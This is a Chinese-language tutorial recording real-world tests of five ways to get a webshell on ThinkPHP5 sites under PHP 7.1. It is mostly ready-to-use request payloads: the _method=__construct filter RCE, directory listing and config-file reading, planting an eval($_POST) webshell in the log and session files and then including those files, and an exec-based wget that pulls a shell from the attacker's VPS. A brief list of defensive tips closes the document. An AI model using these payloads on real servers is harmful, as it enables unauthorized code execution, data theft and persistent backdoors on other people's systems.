一次实战中对tp5网站getshell方式的测试
字数 1262 2025-08-25 22:59:15
ThinkPHP5 多种Getshell方法实战教学
前言
本文档详细记录在ThinkPHP5框架下多种getshell方法的实战测试过程,特别针对PHP7.1+环境下的限制条件进行分析和绕过。文档包含五种不同的getshell方法,涵盖RCE漏洞利用、日志包含、Session包含等多种技术手段。
环境信息
- 目标框架:ThinkPHP5
- PHP版本:7.1.33
- 限制条件:disable_function禁用了多个关键函数
方法一:传统RCE写Shell(PHP7.1下失效)
初始RCE验证
首先验证是否存在RCE漏洞:
_method=__construct&method=get&filter=call_user_func&get[]=phpinfo
传统写Shell方法(PHP7.1下失效)
传统payload:
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
失败原因:PHP7.1+版本已弃用assert函数,无法使用此方法。
方法二:数据库信息泄露+PhpMyAdmin利用
步骤1:获取网站根目录
通过phpinfo()获取网站根目录信息。
步骤2:目录遍历
使用scandir函数遍历目录:
_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=路径
步骤3:读取配置文件
使用highlight_file读取文件:
_method=__construct&filter[]=highlight_file&method=GET&get[]=读取的文件路径
限制:当目标不存在PhpMyAdmin时,此方法失效。
方法三:日志文件包含
步骤1:写入恶意代码到日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['c'])?>
步骤2:包含日志文件
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/202110/17.log&c=phpinfo();
注意:此方法在某些环境下可能失败。
方法四:Session文件包含(成功方法)
步骤1:设置恶意Session
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1
步骤2:包含Session文件
Session文件路径通常为:/tmp/sess_[sessionid],其中sessionid可从Cookie中获取。
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoi&c=phpinfo();
成功条件:获取到Webshell权限(www权限)。
方法五:利用exec函数下载远程Shell
前提条件
检查disable_function未禁用exec函数。
步骤1:准备远程Shell
在VPS上创建test.php并启动HTTP服务:
python -m SimpleHTTPServer 8888
步骤2:下载远程Shell
s=wget vps/test.php&_method=__construct&method=get&filter[]=exec
总结表格
| 方法 | 适用条件 | 关键点 | 限制 |
|---|---|---|---|
| 传统RCE | PHP<7.1 | 使用assert函数 | PHP7.1+失效 |
| 数据库泄露 | 存在PhpMyAdmin | 读取数据库配置 | 需PhpMyAdmin存在 |
| 日志包含 | 可写日志 | 写入恶意代码到日志 | 部分环境不可用 |
| Session包含 | 可写Session | 包含Session文件 | 需知道Session路径 |
| exec下载 | exec未禁用 | 远程下载Shell | 需外网连接 |
防御建议
- 及时更新ThinkPHP框架版本
- 严格配置disable_function
- 限制日志和Session目录权限
- 监控异常文件操作
- 禁用不必要的PHP函数
通过本次实战,我们掌握了在ThinkPHP5环境下多种getshell方法,特别是针对PHP7.1+环境的有效技术手段。Session包含和exec下载方法在特定条件下尤为有效。